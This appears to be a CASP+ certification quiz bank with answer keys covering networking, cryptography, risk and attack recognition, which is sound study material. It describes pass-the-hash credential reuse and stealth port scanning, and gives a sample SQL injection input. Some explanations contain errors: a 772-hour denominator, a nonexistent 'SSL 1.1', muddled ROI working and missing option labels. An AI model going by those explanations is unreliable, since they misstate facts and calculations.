Cybrary CASP+
CompTIA Advanced Security Practitioner Cert Prep Course
Quiz Questions
BY: Jim Hollis

1. Which of the programming languages is particularly vulnerable to buffer overflows?

A. .NET

B. Pascal

C. C

D. Basic

Answer: C. The C programming language is particularly vulnerable to buffer overflows. This is because some functions do not perform proper bounds checking.

2. Which of the following is not considered one of the three principles of security?

A. Integrity

B. Non-repudiation

C. Availability

D. Confidentiality

Answer: B. Non-repudiation is not considered one of the three principles of security

3. Many organizations start the pre employment process with a check.

A. Marriage

B. Background

C. Height

D. Golf Handicap

Answer: B. Many organizations start the pre employment process with a background check. This process is done to make sure the right person is hired for the job.

4. In cryptography, the process of converting clear text into something that is unreadable is known as .

A. Encryption

B. Plain text

C. Digital signature

D. Cryptanalysis

Answer: A. In cryptography, the process of converting clear text into something that is unreadable is known as encryption.

5. Which transport protocol is considered connection-based?

A. IP

B. TCP

C. UDP

D. ICMP

Answer: B. TCP is considered a connection-based protocol, whereas UDP is considered connectionless

6. Which of the following is not an advantage of cloud computing?

A. Reduced cost

B. The ability to access data and applications from many locations

C. Increased cost

D. The ability to pay as you go

Answer: C. Although there are many benefits to cloud computing, increased cost is not one of them. Cloud computing is designed to lower costs

7. The term *ACL* is most closely related to which of the following?

A. Hub

B. Switch

C. Bridge

D. Router

Answer: D. The term *ACL* is most closely related to a router. ACLs are used as a basic form of firewall traffic control.

8. A _____is used to maintain session or state when moving from one web page to another.

A. Browser

B. Cookie

C. Session ID

D. URL

Answer: B. A cookie is used to maintain state when moving from one web page to another.

9. In the study of cryptography, is used to prove the identity of an individual.

A. Confidentially
B. Authenticity
C. Integrity
D. Availability

Answer: B. In the study of cryptography, authenticity is used to prove the identity of an individual.

10. Kali is an example of what?

A. Linux bootable distribution
B. Session hijacking
C. Windows bootable preinstall program
D. VoIP capture tool

Answer: A. Kali is an example of a Linux bootable distribution. It is one of the items on the CASP+ tools and technology list.

11. Which of the following is the basic transport protocol for the web?

A. HTTP
B. UDP
C. TFTP
D. FTP

Answer: A. HTTP is the basic transport protocol for the web. HTTP uses TCP as a transport.

12. Which type of attack does not give an attacker access but blocks legitimate users?

A. Sniffing
B. Session hijacking
C. Trojan
D. Denial of service

Answer: D. A denial of service does not give an attacker access but blocks legitimate users.

13. IPv4 uses addresses of what length in bits?

A. 8
B. 16

C. 32

D. 64

Answer: C. IPv4 uses 32-bit addresses, whereas IPv6 uses 128-bit addresses.

14. _____ can be used as a replacement for POP3 and offers advantages over POP3 for mobile users.

A. SMTP

B. SNMP

C. POP3

D. IMAP

Answer: D. IMAP can be used as a replacement for POP3, and it offers advantages over POP3 for mobile users, such as remote mail and folder management, so it's easier to view from multiple locations.

15. What port does HTTP use by default?

A. 53

B. 69

C. 80

D. 445

Answer: C. HTTP uses port 80 by default.

16. Which type of agreement requires the provider to maintain a certain level of support?

A. MTBF

B. SLA

C. MTTR

D. AR

Answer: B. A service level agreement (SLA) requires the provider to maintain a certain level of support

17. _____ is the name given to fake mail over Internet telephony.

A. SPAM

B. SPIT

C. SPIM

D. SPLAT

Answer: B. The acronym SPIT stands for Spam over Internet Telephony

18. Which high-level document is used by management to set the overall tone in an organization?

A. Procedure

B. Guideline

C. Policy

D. Baseline

Answer: C. A policy is a high-level document used by management to set the overall tone

19. Which method of encryption makes use of a single shared key?

A. RSA

B. ECC

C. DES

D. MD5

Answer: C. DES makes use of a single shared key, and it is an example of symmetric encryption.

20. _____ prevents one individual from having too much power in an organization.

A. Dual control

B. Separation of duties

C. Mandatory vacation

D. An NDA

Answer: B. Separation of duties prevents one individual from having too much power.

21. _____ is an example of virtualization software.

A. VMware

B. TSWEB

C. LDAP

D. GoToMyPC

Answer: A. VMware is an example of virtualization. These tools are very popular today, and they are required knowledge for the CASP+ exam.

22. What is the purpose of Wireshark?

A. Sniffer

B. Session hijacking

C. Trojan

D. Port scanner

Answer: A. Wireshark is a well-known open-source packet capture and sniffer program. Although packet sniffers are not malicious tools, they can be used to capture clear-text usernames and passwords.

23. One area of policy compliance that many companies need to address is in meeting the credit card security standards.

A. SOX

B. PCI DSS

C. GLB

D. HIPAA

Answer: B. One area of policy compliance that many companies need to address is in meeting the Payment Card Industry Data Security Standard (PCI DSS).

24. The OSI model consists of how many layers?

A. Three

B. Five

C. Seven

D. Eight

Answer: C. The OSI model consists of seven layers: Physical, Data Link, Network, Transport, Session, Presentation, and Application.

25. Which set of regulations covers the protection of medical data and personal information?

A. HIPAA

B. GLBA

C. SOX

D. GDPR

Answer: A. HIPAA covers the protection of medical data and personal information.

26. _____ is a well-known incident response, computer forensic, and e-discovery tool.

A. PuTTY

B. Hunt

C. Firesheep

D. Helix3

Answer: D. Helix3 is a well-known incident response, computer forensic, and e-discovery tool. Helix is required knowledge for the exam.

27. Shawn downloads a program for his iPhone that is advertised as a game yet actually tracks his location and browser activity. This is best described as a ?

A. Virus

B. Worm

C. Trojan

D. Spam

Answer: C. Shawn downloads a program for his iPhone that is advertised as a game yet actually tracks his location and browser activity. This is best described as a Trojan. Trojans typically present themselves as something the user wants, when in fact they are malicious

28. _____ is used to send mail and to relay mail to other SMTP mail servers and uses port 25 by default.

A. SMTP

B. SNMP

C. POP3

D. IMAP

Answer: A. SMTP is used to send mail and to relay mail to other SMTP mail servers and uses port 25 by default. You should have a basic understanding of common ports and applications such as SMTP, POP3, and IMAP for the exam.

29. _____ is used to prevent a former employee from releasing confidential information to a third party.

A. Dual control

B. Separation of duty

C. Mandatory vacation
D. NDA

Answer: D. A nondisclosure agreement (NDA) is used to prevent a former employee from releasing confidential information to a third party

30. Which technique helps detect if an employee is involved in malicious activity?

A. Dual controls
B. Separation of duties
C. Mandatory vacations
D. NDAs

Answer: C. Mandatory vacations allow for the review of an employee's duties while they are not on duty.

31. A firm's Chief Executive Officer (CEO) is concerned that IT staff lacks the knowledge to identify complex vulnerabilities that may exist in a payment system being internally developed. The payment system being developed will be sold to a number of organizations and is in direct competition with another leading product. The CEO highlighted that code base confidentiality is of critical importance to allow the company to exceed the competition in terms of the product's reliability, stability, and performance. Which of the following would provide the MOST thorough testing and satisfy the CEO's requirements?

A. Sign a MOU with a marketing firm to preserve the company reputation and use in-house resources for random testing.
B. Sign a BPA with a small software consulting firm and use the firm to perform Black box testing and address all findings.
C. Sign a NDA with a large security consulting firm and use the firm to perform Grey box testing and address all findings.
D. Use the most qualified and senior developers on the project to perform a variety of White box testing and code reviews.

Answer: C. Gray box testing has limited knowledge of the system as an attacker would. The base code would remain confidential. This would further be enhanced by a Non-disclosure agreement (NDA) which is designed to protect confidential information.

32. An application present on the majority of an organization's 1,000 systems is vulnerable to a buffer overflow attack. Which of the following is the MOST comprehensive way to resolve the issue?

A. Deploy custom HIPS signatures to detect and block the attacks.

B. Validate and deploy the appropriate patch.

C. Run the application in terminal services to reduce the threat landscape.

D. Deploy custom NIPS signatures to detect and block the attacks

Answer: B. If an application has a known issue (such as susceptibility to buffer overflow attacks) and a patch is released to resolve the specific issue, then the best solution is always to deploy the patch.

A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information - which has to go somewhere - can overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common type of security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user's files, change data, or disclose confidential information. Buffer overflow attacks are said to have arisen because the C programming language supplied the framework, and poor programming practices supplied the vulnerability

33. The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO).

A. Web cameras

B. Email

C. Instant messaging

D. BYOD

E. Desktop sharing

F. Presence

Answer: C, E

C: Instant messaging (IM) allows two-way communication in near real time, allowing users to collaborate, hold informal chat meetings, and share files and information. Some IM platforms have added encryption, central logging, and user access controls. This can be used to replace calls between the end-user and the helpdesk.

E: Desktop sharing allows a remote user access to another user's desktop and has the ability to function as a remote system administration tool. This can allow the helpdesk to determine the cause of the problem on the end-users desktop.

34. A human resources manager at a software development company has been tasked with recruiting personnel for a new cyber defense division in the company. This division will require personnel to have high technology skills and industry certifications. Which of the following is the BEST method for this manager to gain insight into this industry to execute the task?

    A. Interview candidates, attend training, and hire a staffing company that specializes in technology jobs
    B. Interview employees and managers to discover the industry hot topics and trends
    C. Attend meetings with staff, internal training, and become certified in software management
    D. Attend conferences, webinars, and training to remain current with the industry and job

Answer: D. Conferences represent an important method of exchanging information between researchers who are usually experts in their respective fields. Together with webinars and training to remain current on the subject the manager will be able to gain valuable insight into the cyber defense industry and be able to recruit personnel

35. The risk manager at a small bank wants to use quantitative analysis to determine the ALE of running a business system at a location which is subject to fires during the year. A risk analyst reports to the risk manager that the asset value of the business system is $120,000 and, based on industry data, the exposure factor to fires is only 20% due to the fire suppression system installed at the site. Fires occur in the area on average every four years. Which of the following is the ALE?

A. $6,000

B. $24,000

C. $30,000

D. $96,000

Answer: A. Single Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF)
SLE = AV x EF = $120 000 x 20% = $ 24,000 (this is over 4 years)
Thus ALE = $ 24,000 / 4 = $ 6,000

36. A new internal network segmentation solution will be implemented into the enterprise that consists of 200 internal firewalls. As part of running a pilot exercise, it was determined that it takes three changes to deploy a new application onto the network before it is operational. Security now has a significant effect on overall availability. Which of the following would be the FIRST process to perform as a result of these findings?

A. Lower the SLA to a more tolerable level and perform a risk assessment to see if the solution could be met by another solution. Reuse the firewall infrastructure on other projects.

B. Perform a cost benefit analysis and implement the solution as it stands as long as the risks are understood by the business owners around the availability issues. Decrease the current SLA expectations to match the new solution.

C. Engage internal auditors to perform a review of the project to determine why and how the project did not meet the security requirements. As part of the review ask them to review the control effectiveness.

D. Review to determine if control effectiveness is in line with the complexity of the solution. Determine if the requirements can be met with a simpler solution.

Answer: D. Checking whether control effectiveness complies with the complexity of the solution and then determining if there is not an alternative simpler solution would be the first procedure to follow in the light of the findings.

37. An enterprise must ensure that all devices that connect to its networks have been previously approved. The solution must support dual factor mutual authentication with strong identity assurance. In order to reduce costs and administrative overhead, the security architect wants to outsource identity proofing and second factor digital delivery to the third party. Which of the following solutions will address the enterprise requirements?

A. Implementing federated network access with the third party.

B. Using a HSM at the network perimeter to handle network device access.

C. Using a VPN concentrator which supports dual factor via hardware tokens.

D. Implementing 802.1x with EAP-TTLS across the infrastructure

Answer: D. IEEE 802.1X (also known as Dot1x) is an IEEE Standard for Port-based Network Access Control (PNAC). It is part of the IEEE 802.1 group of networking protocols. It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN.

802.1X authentication involves three parties: a supplicant, an authenticator, and an authentication server. The supplicant is a client device (such as a laptop) that wishes to attach to the LAN/WLAN - though the term 'supplicant' is also used interchangeably to refer to the software running on the client that provides credentials to the authenticator. The authenticator is a network device, such as an Ethernet switch or wireless access point; and the authentication server is typically a host running software supporting the RADIUS and EAP protocols.

The authenticator acts like a security guard to a protected network. The supplicant (i.e., client device) is not allowed access through the authenticator to the protected side of the network until the supplicant's identity has been validated and authorized. An analogy to this is providing a valid visa at the airport's arrival immigration before being allowed to enter the country. With 802.1X port-based authentication, the supplicant provides credentials, such as user name/password or digital certificate, to the authenticator, and the authenticator forwards the credentials to the authentication server for verification. If the authentication server determines the credentials are valid, the supplicant (client device) is allowed to access resources located on the protected side of the network.

EAP-TTLS (Tunneled Transport Layer Security) is designed to provide authentication that is as strong as EAP-TLS, but it does not require that each user be issued a certificate. Instead, only the authentication servers are issued certificates. User authentication is performed by password, but the password credentials are transported in a securely encrypted tunnel established based upon the server certificates.

38. It has come to the IT administrator's attention that the "post your comment" field on the company blog page has been exploited, resulting in cross-site scripting attacks against customers reading the blog. Which of the following would be the MOST effective at preventing the "post your comment" field from being exploited?

A. Update the blog page to HTTPS

B. Filter metacharacters

C. Install HIDS on the server

D. Patch the web application

E. Perform client side input validation

Answer: B. A general rule of thumb with regards to XSS is to "Never trust user input and always filter meta-characters."

39. A security administrator wants to prevent sensitive data residing on corporate laptops and desktops from leaking outside of the corporate network. The company has already implemented full-disk encryption and has disabled all peripheral devices on its desktops and laptops. Which of the following additional controls MUST be implemented to minimize the risk of data leakage? (Select TWO).

A. A full-system backup should be implemented to a third-party provider with strong encryption for data in transit.

B. A DLP gateway should be installed at the company border.

C. Strong authentication should be implemented via external biometric devices.

D. Full-tunnel VPN should be required for all network communication.

E. Full-drive file hashing should be implemented with hashes stored on separate storage.

Split-tunnel VPN should be enforced when transferring sensitive data.

Answer: B, D. Web mail, Instant Messaging and personal networking sites are some of the most common means by which corporate data is leaked.

Data loss prevention (DLP) is a strategy for making sure that end users do not send sensitive or critical information outside the corporate network. The term is also used to describe software products that help a network administrator control what data end users can transfer.

DLP software products use business rules to classify and protect confidential and critical information so that unauthorized end users cannot accidentally or maliciously share data whose disclosure could put the organization at risk. For example, if an employee tried to forward a business email outside the corporate domain or upload a corporate file to a consumer cloud storage service like Dropbox, the employee would be denied permission.

Full-tunnel VPN should be required for all network communication. This will ensure that all data transmitted over the network is encrypted which would prevent a malicious user accessing the data by using packet sniffing.

40. Wireless users are reporting issues with the company's video conferencing and VoIP systems. The security administrator notices internal DoS attacks from infected PCs on the network causing the VoIP system to drop calls. The security administrator also notices that the SIP servers are unavailable during these attacks. Which of the following security controls will MOST likely mitigate the VoIP DoS attacks on the network? (Select TWO).

A. Install a HIPS on the SIP servers

B. Configure 802.1X on the network

C. Update the corporate firewall to block attacking addresses

D. Configure 802.11e on the network

E. Configure 802.1q on the network

Answer: A,D. Host-based intrusion prevention system (HIPS) is an installed software package that will monitor a single host for suspicious activity by analyzing events taking place within that host.

IEEE 802.11e is deemed to be of significant consequence for delay-sensitive applications, such as Voice over Wireless LAN and streaming multimedia

41. Due to compliance regulations, a company requires a yearly penetration test. The Chief Information Security Officer (CISO) has asked that it be done under a black box methodology.

Which of the following would be the advantage of conducting this kind of penetration test?

A. The risk of unplanned server outages is reduced.

B. Using documentation provided to them, the pen-test organization can quickly determine areas to focus on.

C. The results will show an in-depth view of the network and should help pin-point areas of internal weakness.

The results should reflect what attackers may be able to learn about the company.

Answer: D. A black box penetration test is usually done when you do not have access to the code, much the same like an outsider/attacker. This is then the best way to run a penetration test that will also reflect what an attacker/outsider can learn about the company. A black box test simulates an outsiders attack.

42. A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network.

Which of the following is the BEST course of action?

A. Investigate the network traffic and block UDP port 3544 at the firewall

B. Remove the system from the network and disable IPv6 at the router

C. Locate and remove the unauthorized 6to4 relay from the network

D. Disable the switch port and block the 2001::/32 traffic at the firewall

Answer: A. The 2001::/32 prefix is used for Teredo tunneling.

Teredo is a transition technology that gives full IPv6 connectivity for IPv6-capable hosts that are on the IPv4 Internet but have no native connection to an IPv6 network. Unlike similar protocols, it can perform its function even from behind network address translation (NAT) devices such as home routers.

Teredo provides IPv6 (Internet Protocol version 6) connectivity by encapsulating IPv6 datagram packets within IPv4 User Datagram Protocol (UDP) packets. Teredo routes these datagrams on the IPv4 Internet and through NAT devices. Teredo nodes elsewhere on the IPv6 network (called Teredo relays) receive the packets, decapsulate them, and pass them on. The Teredo server listens on UDP port 3544.

Teredo clients are assigned an IPv6 address that starts with the Teredo prefix (2001::/32).

In this question, the BEST course of action would be to block UDP port 3544 at the firewall. This will block the unauthorized communication. You can then investigate the traffic within the network.

43. A small company is developing a new Internet-facing web application. The security requirements are:

Users of the web application must be uniquely identified and authenticated.

Users of the web application will not be added to the company's directory services.

Passwords must not be stored in the code.

Which of the following meets these requirements?

A. Use OpenID and allow a third party to authenticate users.

B. Use TLS with a shared client certificate for all users.

C.Use SAML with federated directory services.

D. Use Kerberos and browsers that support SAML.

Answer: A. Users create accounts by selecting an OpenID identity provider, and then use those accounts to sign onto any website which accepts OpenID authentication.

OpenID is an open standard and decentralized protocol by the non-profit OpenID Foundation that allows users to be authenticated by certain co-operating sites (known as Relying Parties or RP) using a third party service. This

eliminates the need for webmasters to provide their own ad hoc systems and allowing users to consolidate their digital identities. In other words, users can log into multiple unrelated websites without having to register with their information over and over again.

Several large organizations either issue or accept OpenIDs on their websites according to the OpenID Foundation: AOL, Blogger, Flickr, France Telecom, Google, Hyves, LiveJournal, Microsoft (provider name Microsoft account), Mixi, Myspace, Novell, Orange, Sears, Sun, Telecom Italia, Universal Music Group, VeriSign, WordPress, and Yahoo!. Other providers include BBC, IBM, PayPal, and Steam.

44. A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?

A. The tool could show that input validation was only enabled on the client side

B. The tool could enumerate backend SQL database table and column names

C. The tool could force HTTP methods such as DELETE that the server has denied

D. The tool could fuzz the application to determine where memory leaks occur

Answer: A. A HTTP Interceptor is a program that is used to assess and analyze web traffic thus it can be used to indicate that input validation was only enabled on the client side.

45. A vulnerability scanner report shows that a client-server host monitoring solution operating in the credit card corporate environment is managing SSL sessions with a weak algorithm which does not meet corporate policy. Which of the following are true statements? (Select TWO).

A. The X509 V3 certificate was issued by a non trusted public CA.

B. The client-server handshake could not negotiate strong ciphers.

C. The client-server handshake is configured with a wrong priority.

D. The client-server handshake is based on TLS authentication.

E. The X509 V3 certificate is expired.

F. The client-server implements client-server mutual authentication with different certificates.

Answer: B, C. The client-server handshake could not negotiate strong ciphers. This means that the system is not configured to support the strong ciphers provided by later versions of the SSL protocol. For example, if the system is configured to support only SSL version 1.1, then only a weak cipher will be supported.

The client-server handshake is configured with a wrong priority. The client sends a list of SSL versions it supports and priority should be given to the highest version it supports. For example, if the client supports SSL versions 1.1, 2 and 3, then the server should use version 3. If the priority is not configured correctly (if it uses the lowest version) then version 1.1 with its weak algorithm will be used.

46. The Information Security Officer (ISO) is reviewing a summary of the findings from the last COOP tabletop exercise. The Chief Information Officer (CIO) wants to determine which additional controls must be implemented to reduce the risk of an extended customer service outage due to the VoIP system being unavailable. Which of the following BEST describes the scenario presented and the document the ISO is reviewing?

A. The ISO is evaluating the business implications of a recent telephone system failure within the BIA.

B. The ISO is investigating the impact of a possible downtime of the messaging system within the RA.

C. The ISO is calculating the budget adjustment needed to ensure audio/video system redundancy within the RFQ.

D. The ISO is assessing the effect of a simulated downtime involving the telecommunication system within the AAR.

Answer: D. VoIP is an integral part of network design and in particular remote access, that enables customers accessing and communicating with the company. If VoIP is unavailable then the company is in a situation that can be compared to downtime. And since the ISO is reviewing he summary of findings from the last COOP tabletop exercise, it can be said that the ISO is assessing the effect of a simulated downtime within the AAR.

47. The helpdesk is receiving multiple calls about slow and intermittent Internet access from the finance department. The following information is compiled:

Caller 1, IP 172.16.35.217, NETMASK 255.255.254.0

Caller 2, IP 172.16.35.53, NETMASK 255.255.254.0

Caller 3, IP 172.16.35.173, NETMASK 255.255.254.0

All callers are connected to the same switch and are routed by a router with five built-in interfaces. The upstream router interface's MAC is 00-01-42-32-ab-1a

A packet capture shows the following:

09:05:15.934840 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:06:16.124850 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:07:25.439811 arp reply 172.16.34.1 is-at 00:01:42:32:ab:1a (00:01:42:32:ab:1a)

09:08:10.937590 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2305, seq 1, length 65534 09:08:10.937591 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2306, seq 2, length 65534 09:08:10.937592 IP 172.16.35.1 > 172.16.35.255: ICMP echo request, id 2307, seq 3, length 65534 Which of the following is occurring on the network?

A. A man-in-the-middle attack is underway on the network.

B. An ARP flood attack is targeting at the router.

C. The default gateway is being spoofed on the network.

D. A denial of service attack is targeting at the router.

Answer: D. The above packet capture shows an attack where the attacker is busy consuming your resources (in this case the router) and preventing normal use. This is thus a Denial Of Service Attack.

48. Company ABC is hiring customer service representatives from Company XYZ. The representatives reside at Company XYZ's headquarters. Which of the following BEST prevents Company XYZ representatives from gaining access to unauthorized Company ABC systems?

A. Require each Company XYZ employee to use an IPSec connection to the required systems

B. Require Company XYZ employees to establish an encrypted VDI session to the required systems

C. Require Company ABC employees to use two-factor authentication on the required systems

D. Require a site-to-site VPN for intercompany communications

Answer: B. VDI stands for Virtual Desktop Infrastructure. Virtual desktop infrastructure is the practice of hosting a desktop operating system within a virtual machine (VM) running on a centralized server.

Company ABC can configure virtual desktops with the required restrictions and required access to systems that the users in company XYZ require. The users in company XYZ can then log in to the virtual desktops over a secure encrypted connection and then access authorized systems only.

49. select id, firstname, lastname from authors

User input= firstname= Hack;man

lastname=Johnson

Which of the following types of attacks is the user attempting?

A. XML injection

B. Command injection

C. Cross-site scripting

D. SQL injection

Answer: D. SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

50. Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim's privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?

A. Integer overflow

B. Click-jacking

C. Race condition

D. SQL injection

E. Use after free

F. Input validation

Answer: E. Use-After-Free vulnerabilities are a type of memory corruption flaw that can be leveraged by hackers to execute arbitrary code.

Use After Free specifically refers to the attempt to access memory after it has been freed, which can cause a program to crash or, in the case of a Use-After-Free flaw, can potentially result in the execution of arbitrary code or even enable full remote code execution capabilities.

According to the Use After Free definition on the Common Weakness Enumeration (CWE) website, a Use After Free scenario can occur when "the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process."

51. The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?

A. Cloud-based antivirus solution, running as local admin, with push technology for definition updates.
B. Implementation of an offsite data center hosting all company data, as well as deployment of VDI for all client computing needs.
C. Host based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs.
D. Behavior based IPS with a communication link to a cloud based vulnerability and threat feed

Answer: D. Good preventive security practices are a must. These include installing and keeping firewall policies carefully matched to business and application needs, keeping antivirus software updated, blocking potentially harmful file attachments and keeping all systems patched against known vulnerabilities. Vulnerability scans are a good means of measuring the effectiveness of preventive procedures. Real-time protection: Deploy inline intrusion-prevention systems (IPS) that offer comprehensive protection. When considering an IPS, seek the following capabilities: network-level protection, application integrity checking, application protocol Request for Comment (RFC) validation, content validation and forensics capability. In this case it would be behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed.

52. There have been some failures of the company's internal facing website. A security engineer has found the WAF to be the root cause of the failures. System logs show that the WAF has been unavailable for 14 hours over the past month, in four separate situations. One of these situations was a two hour scheduled maintenance time, aimed at improving the stability of the WAF. Using the MTTR based on the last month's performance figures, which of the following calculations is the percentage of uptime assuming there were 722 hours in the month?

A. 92.24 percent

B. 98.06 percent

C. 98.34 percent

D. 99.72 percent

Answer: B. A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection. By customizing the rules to your application, many attacks can be identified and blocked.

14h of down time in a period of 772 supposed uptime = 14/772 x 100 = 1.939 %

Thus the % of uptime = 100% - 1.939% = 98.06%

53. An administrator believes that the web servers are being flooded with excessive traffic from time to time. The administrator suspects that these traffic floods correspond to when a competitor makes major announcements. Which of the following should the administrator do to prove this theory?

A. Implement data analytics to try and correlate the occurrence times.

B. Implement a honey pot to capture traffic during the next attack.

C. Configure the servers for high availability to handle the additional bandwidth.

D. Log all traffic coming from the competitor's public IP addresses.

Answer: A. There is a time aspect to the traffic flood and if you correlate the data analytics with the times that the incidents happened, you will be able to prove the theory.

54. An administrator wishes to replace a legacy clinical software product as it has become a security risk. The legacy product generates $10,000 in revenue a month. The new software product has an initial cost of $180,000 and a yearly maintenance of $2,000 after the first year. However, it will generate $15,000 in revenue per month and be more secure. How many years until there is a return on investment for this new package?

A. 1

B. 2

C. 3

D. 4

Answer: D. Return on investment = Net profit / Investment where: Profit for the first year is $60 000, second year = $ 120 000 ; third year = $ 180 000 ; and fourth year = $ 240 000

investment in first year = $ 180 000, by year 2 = $ 182 000; by year 3 = $ 184 000 ; and by year 4 = $ 186 000

Thus you will only get a return on the investment in 4 years' time.

55. An external penetration tester compromised one of the client organization's authentication servers and retrieved the password database. Which of the following methods allows the penetration tester to MOST efficiently use any obtained administrative credentials on the client organization's other systems, without impacting the integrity of any of the systems?

A. Use the pass the hash technique

B. Use rainbow tables to crack the passwords

C. Use the existing access to change the password

D. Use social engineering to obtain the actual password

Answer: A. With passing the hash you can grab NTLM credentials and you can manipulate the Windows logon sessions maintained by the LSA component. This will allow you to operate as an administrative user and not impact the integrity of any of the systems when running your tests.

56. A senior network security engineer has been tasked to decrease the attack surface of the corporate network. Which of the following actions would protect the external network interfaces from external attackers performing network scanning?

A. Remove contact details from the domain name registrar to prevent social engineering attacks.

B. Test external interfaces to see how they function when they process fragmented IP packets.

C. Enable a honeynet to capture and facilitate future analysis of malicious attack vectors.

D. Filter all internal ICMP message traffic, forcing attackers to use full-blown TCP port scans against external network interfaces.

Answer: B. Fragmented IP packets are often used to evade firewalls or intrusion detection systems.

Port Scanning is one of the most popular reconnaissance techniques attackers use to discover services they can break into. All machines connected to a Local Area Network (LAN) or Internet run many services that listen at well-known and not so well known ports. A port scan helps the attacker find which ports are available (i.e., what service might be listing to a port).

One problem, from the perspective of the attacker attempting to scan a port, is that services listening on these ports log scans. They see an incoming connection, but no data, so an error is logged. There exist a number of stealth scan techniques to avoid this. One method is a fragmented port scan.

Fragmented packet Port Scan

The scanner splits the TCP header into several IP fragments. This bypasses some packet filter firewalls because they cannot see a complete TCP header that can match their filter rules. Some packet filters and firewalls do queue all IP fragments, but many networks cannot afford the performance loss caused by the queuing

57. A well-known retailer has experienced a massive credit card breach. The retailer had gone through an audit and had been presented with a potential problem on their network. Vendors were authenticating directly to the retailer's AD servers, and an improper firewall rule allowed pivoting from the AD server to the DMZ where credit card servers were kept. The firewall rule was needed for an internal application that was developed, which presents risk. The retailer determined that because the vendors were required to have site to site VPN's no other security action was taken.

To prove to the retailer the monetary value of this risk, which of the following type of calculations is needed?

A. Residual Risk calculation

B. A cost/benefit analysis

C. Quantitative Risk Analysis

D. Qualitative Risk Analysis

Answer: C. Performing quantitative risk analysis focuses on assessing the probability of risk with a metric measurement which is usually a numerical value based on money or time.

58.The network administrator at an enterprise reported a large data leak. One compromised server was used to aggregate data from several critical application servers and send it out to the Internet using HTTPS. Upon investigation, there have been no user logins over the previous week and the endpoint protection software is not reporting any issues. Which of the following BEST provides insight into where the compromised server collected the information?

A. Review the flow data against each server's baseline communications profile.

B. Configure the server logs to collect unusual activity including failed logins and restarted services.

C. Correlate data loss prevention logs for anomalous communications from the server.

D. Setup a packet capture on the firewall to collect all of the server communications.

Answer: A. Network logging tools such as Syslog, DNS, NetFlow, behavior analytics, IP reputation, honeypots, and DLP solutions provide visibility into the entire infrastructure. This visibility is important because signature-based systems are no longer sufficient for identifying the advanced attacker that relies heavily on custom malware and zero-day exploits. Having knowledge of each host's communications, protocols, and traffic volumes as well as the content of the data in question is key to identifying zero-day and APT (advance persistent threat) malware and agents. Data intelligence allows forensic analysis to identify anomalous or suspicious communications by comparing suspected traffic patterns against normal data communication behavioral baselines. Automated network intelligence and next-generation live forensics provide insight into network events and rely on analytical decisions based on known vs. unknown behavior taking place within a corporate network.

59. Which of the following would be used in forensic analysis of a compromised Linux system? (Select THREE).

A. Check log files for logins from unauthorized IPs.

B. Check /proc/kmem for fragmented memory segments.

C. Check for unencrypted passwords in /etc/shadow.

D. Check timestamps for files modified around time of compromise.

E. Use lsof to determine files with future timestamps.

F. Use gpg to encrypt compromised data files.

G. Verify the MD5 checksum of system binaries.

H. Use vmstat to look for excessive disk I/O.

Answer: A,D,G. The MD5 checksum of the system binaries will allow you to carry out a forensic analysis of the compromised Linux system. Together with the log files of logins into the compromised system from unauthorized IPs and the timestamps for those files that were modified around the time that the compromise occurred will serve as useful forensic tools.

60. ABC Company must achieve compliance for PCI and SOX. Which of the following would BEST allow the organization to achieve compliance and ensure security? (Select THREE).

A. Establish a list of users that must work with each regulation

B. Establish a list of devices that must meet each regulation

C. Centralize management of all devices on the network

D. Compartmentalize the network

E. Establish a company framework

F. Apply technical controls to meet compliance with the regulation

Answer: B, D, F. Payment card industry (PCI) compliance is adherence to a set of specific security standards that were developed to protect card information during and after a financial transaction. PCI compliance is required by all card brands.

There are six main requirements for PCI compliance. The vendor must:

Build and maintain a secure network

Protect cardholder data

Maintain a vulnerability management program

Implement strong access control measures

Regularly monitor and test networks

Maintain an information security policy

To achieve PCI and SOX compliance you should: Establish a list of devices that must meet each regulation. List all the devices that contain the sensitive data.

Compartmentalize the network. Compartmentalize the devices that contain the sensitive data to form a security boundary.

Apply technical controls to meet compliance with the regulation. Secure the data as required.

